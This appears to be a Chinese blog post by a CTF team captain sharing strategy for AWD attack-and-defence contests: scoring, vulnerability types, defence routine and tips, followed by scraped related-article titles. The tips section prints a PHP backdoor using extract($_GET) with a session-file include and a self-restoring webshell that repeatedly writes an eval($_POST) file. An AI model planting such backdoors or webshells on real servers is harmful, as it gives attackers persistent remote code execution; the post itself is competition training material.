作者:Veneno@Nu1L

稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

原文:https://www.anquanke.com/post/id/84675

Hello,大家好,我是Nu1L战队队长Veneno,通过这篇文章说一下关于CTF线下赛的AWD模式(当然也有一些比赛是沙盒模式),以及身为一只Web狗的你如何在各位大佬们的手下存活:)可能没有技术干货,大家勿喷:)

1-何为AWD

Attack With Defence,简而言之就是你既是一个hacker,又是一个manager。

比赛形式:一般就是一个ssh对应一个web服务,然后flag五分钟一轮,各队一般都有自己的初始分数,flag被拿会被拿走flag的队伍均分,主办方会对每个队伍的服务进行check,check不过就扣分,扣除的分值由服务check正常的队伍均分。

2-AWD之出题人

在这里暂且冒充下出题人QAQ

0x01:题目类型

1-出题人自己写的cms,为了恶心然后加个so。

2-常见或者不常见的cms。

3-一些框架漏洞,比如ph师傅挖的CI这种

0x02:代码类型

目前来说,国内比赛依旧是php居多,当然也会有一些别的,比如py,lua这种。

0x03:题目漏洞类型

1-sqli居多

2-文件包含

3-各种rce

4-文件上传

0x04:出题人思路

为了不让你们这群赛棍把题秒了,我直接放个未公开cms的0day把,算了,要不我自己加点东西。诶,等等,这样是不是有点难了,再放几个比较简单的洞把,直接在index.php或者web根目录下放个shell?

3-如何攻击

相信平日大家都做过渗透测试之类的,而AWD模式的比赛其实跟日常的渗透测试有共同之处。

0x01:如何拿flag

一般来说就是以下两种模式:

1-是向内网一台机器发送http请求,返回请求中包含flag。

2-是例如/home目录下放置flag文件。

0x02:一个web狗需要具备的一些东西

大致有以下几点:

1-快速的漏洞反应能力。

因为有的时候,一些比赛放的漏洞都是网上能查到的,所以这个时候需要一个好的搜索技巧。或者是一些rce显而易见的那种。

2-快速编写脚本的能力。

因为大家的服务都是一样的,而你如果能通过比如注入的方式拿到flag,如果用hackbar一个个去弄,显然不够优雅,而且有时候特别会容易遗漏,那么这个时候写个小py无疑是极好的。

3-一个好的心态

毕竟跟你同场竞技的都是各位大佬,所以当你发现自己被打的时候,心态不要崩,一旦崩了就基本宣布gg了。

0x03:当我们处于优势地位时

除非处于那种绝对优势的时候,我们可以什么都不在乎。

当我们处于一个微弱优势时,这个时候我们需要一个比较腹黑的思想,比如说,A队与B队只差了可能几百的分数,而A队这个时候有B队的webshell,那么如何把B队拖下水,相信大家都懂。

0x04:当我们处于劣势地位时

首先还是那句话,心态不要崩。

其次因为web比较容易抓取流量,所以即使我们被打,我们也可以及时通过分析流量去查看别的队伍的payload,从而进行反打。

如果自己的服务器上被种了shell,删除是肯定的,但是要这样想,如果给你种了shell,那么这种一般是自动化脚本打的,就意味着别的队伍也可能被种,路径密码什么的都一样。

4-如何防守

其实防守更多看的是谁比较细心。

0x01:比赛开始的时候

比赛开始时,当我们连上ssh的时候,我们首先应该做的是把源码down下来,及时做好备份。

然后在尽量不违反主办方check的原则下挂上自己的waf。

一般来说,主办方可能会隔一段时间提供前一时段的流量,也可能不会,所以这个时候需要我们自己去抓流量。

0x02:然后的工作

当然是审计,审计,再审计。

0x03:当发现被打时

当发现自己被打时,首先尝试还原以前的备份(记得备份当前),如果依然被打,这个时候应该跟队友分好工,查看抓取的流量以及查看服务器上是不是存在shell。

5-一些小tips

分享几个小例子以及自己的思路。

0x01:如果自己拿到了FB

当自己拿到fb的时候,一定要淡定,淡定,淡定。首先,我们测试的对象应该是NPC(或者本地),而不是其他队伍选手的服务,因为你怎么知道人家没有流量,经常会出现,有的队伍拿到了fb,结果不是拿的npc的,自己的payload又被别的队伍拿到,而碰巧拿到的队伍,重放能力特别强,就会出现一个尴尬的局面,明明你拿的fb,结果人家打的比你还凶。

所以,当拿到fb的时候,写打全场的exp之前,可以先打n多的混淆流量。

0x02:特别熟悉的cms

作为一只web狗,如果看到wordpress,那么第一个反应肯定是上wpscan。但是线下赛时候有的出题人放了一个最新版本的wp,甚至插件也没有什么漏洞,举两个自己打比赛的时候碰见过的例子:

1-主办方放了一个wp,然后每个队伍都有config备份文件以及phpmyadmin。这种情况下,最机智的方法,是靠你多年手速,迅速下载其他队伍备份文件,然后登陆phpmyadmin后,拿别的队伍的shell最机智的方法不是去利用phpmyadmin写shell,万一没权限不就白白耽误时间了。

2-同样是最新版的wp,也没有安装插件,但是主办方在一个比较深的目录里放了一个任意文件上传,绕过上传的方式也比较简单。

0x03:一些比较有意思的backdoor

比如下面这个,有兴趣的话可以自己本地测试下:

<?php
session_start();
extract($_GET);
if(preg_match('/[0-9]/',$_SESSION['PHPSESSID']))
                   exit;
if(preg_match('//|./',$_SESSION['PHPSESSID']))
                   exit;
include(ini_get("session.save_path")."/sess_".$_SESSION['PHPSESSID']);
?>

0x04:一些有趣shell

在github上有关于phpwebshell的一个项目,有兴趣的同学可以搜一下。当然也有python的一些shell。在这里举一个最简单的例子:

<?php
ignore_user_abort(true);
set_time_limit(0);
$file = "veneno.php";
$shell = "<?php eval($_POST[venenohi]);?>";
while (TRUE) {
if (!file_exists($file)) {
file_put_contents($file, $shell);
}
usleep(50);
}
?>

6-Ending

参加了那么多线下赛以来,个人感觉还是需要提高自己的代码审计能力以及自动化脚本的编写能力,同时也会提醒自己在什么方面有短板。

大体就说什么多,因为可能是个经验帖,所以并没有太多代码,师傅们勿喷,如果有什么问题可以加我微信(FHcherish)一起交流:)

CTF线下赛AWD模式下的生存技巧的更多相关文章

  1. CTF线下赛AWD套路小结

    近打了2场CTF线下赛,把AWD模式中的一些小套路做一些总结,本人web狗,二进制部分就不班门弄斧了. 一. AWD模式简介 AWD:Attack With Defence,比赛中每个队伍维护多台服务 ...

  2. 某线下赛AWD

    拿别人比赛的来玩一下,或许这就是菜的力量吧. 0x01 任意文件读取: switch ($row['media_type']) { case 0: // 图片广告 ...... break; case ...

  3. 某团队线下赛AWD writeup&Beescms_V4.0代码审计

    还是跟上篇一样.拿别人比赛的来玩一下.  0x01 预留后门 连接方式: 0x02 后台登录口SQL注入 admin/login.php 在func.php当中找到定义的check_login函数 很 ...

  4. Vmware下CentOs7 桥接模式下配置固定IP

    1.安装完CentOS7后 修改虚拟机网络适配器配置:改成桥接模式 2.设置Vmware的 编辑->虚拟网络编辑器 3.重启CentOs7 , 查看网络 # ip addr interface是 ...

  5. Linux下rsync daemon模式下的错误汇总

    一.前言:最近学习服务环境搭建,遇到了许多大大小小的问题,不过还好,经过我的一通努力终于都解决了,所以分享出来给自己留个纪念,同时也希望能帮助学习中的朋友. 二.环境:两台服务器环境相同 1 [roo ...

  6. 在windows下的CLI模式下如何运行php文件

    https://blog.csdn.net/evkj2013/article/details/52313728 https://jingyan.baidu.com/article/da1091fb09 ...

  7. ASP.NET Web API 框架研究 Web Host模式下的消息处理管道

    寄宿的作用是开启一个进程为Web API提供一个运行环境以解决持续监听.请求监听和响应回复,即将接收到的请求转换成HttpRequestMessage对象传入管道,并将管道生成并经过处理后的HttpR ...

  8. 问题三:Appium 的 UIAutomator2 模式下使用 sendKeys 出现错误

    在Appium默认的模式下,可以对TextFiled控件进行sendKeys操作: 设置capabilities.setCapability("automationName",&q ...

  9. CTF线下awd攻防文件监控脚本

    CTF线下awd攻防赛中常用一个文件监控脚本来保护文件,但是就博主对于该脚本的审计分析 发现如下的问题: 1.记录文件的路径未修改导致log暴露原文件备份文件夹:drops_JWI96TY7ZKNMQ ...

随机推荐

  1. Ehcache概念篇

    前言 缓存用于提供性能和减轻数据库负荷,本文在缓存概念的基础上对Ehcache进行叙述,经实践发现3.x版本高可用性不好实现,所以我采用2.x版本. Ehcache是开源.基于缓存标准.基于java的 ...

  2. BZOJ 1103 大都市(dfs序+树状数组)

    应该是一道很水的题吧... 显然可以用树链剖分解决这个问题,虽然不知道多一个log会不会T.但是由于问题的特殊性. 每次修改都是将边权为1的边修改为0,且询问的是点i到根节点的路径长度. 令点i到根节 ...

  3. BZOJ 2460 元素(贪心+线性基)

    显然线性基可以满足题目中给出的条件.关键是如何使得魔力最大. 贪心策略是按魔力排序,将编号依次加入线性基,一个数如果和之前的一些数异或和为0就跳过他. 因为如果要把这个数放进去,那就要把之前的某个数拿 ...

  4. BZOJ 1818 内部白点(离散化+树状数组)

    此题就是1227 的弱化版. 画个图或者稍微证明一下就能够知道,一定不会超过一次变换. 那么我们只需要统计有多少个白点会变黑,换句话说就是有多少个白点上下左右都有黑点. 离散化横坐标,因为没有黑点在的 ...

  5. 【bzoj4698】[Sdoi2008] Sandy的卡片 后缀数组

    题目描述 Sandy和Sue的热衷于收集干脆面中的卡片.然而,Sue收集卡片是因为卡片上漂亮的人物形象,而Sandy则是为了积攒卡片兑换超炫的人物模型.每一张卡片都由一些数字进行标记,第i张卡片的序列 ...

  6. [洛谷P5075][JSOI2012]分零食

    题目大意:有$m(m\leqslant10^8)$个人站成一排,有$n(n\leqslant10^4)$个糖果,若第$i$个人没有糖果,那么第$i+1$个人也没有糖果.一个人有$x$个糖果会获得快乐值 ...

  7. 洛谷3934:Nephren Ruq Insania——题解

    https://www.luogu.org/problemnew/show/P3934 题面自己读吧(滑稽. 看到这道题就能够想到BZOJ4869:[SHOI2017]相逢是问候我们曾经用过的哲学扩展 ...

  8. NOIP2016Day1T3换教室(floyd+期望dp)

    啊...这个时间写博客,明天还要上学,整个人都不好了... 这是我写的第一道期望题hiahiahia... 题目大意就不说了QWQ 80分儿做法:先floyd,爆搜枚举哪些点取,求出答案,效率O(C( ...

  9. DPM(Deformable Parts Model)--原理(一)

    http://blog.csdn.net/ttransposition/article/details/12966521 DPM(Deformable Parts Model) Reference: ...

  10. Ubuntu中python多版本管理工具-pyenv

    ubuntu系统版本:16.04 # lsb_release -aNo LSB modules are available.Distributor ID: UbuntuDescription: Ubu ...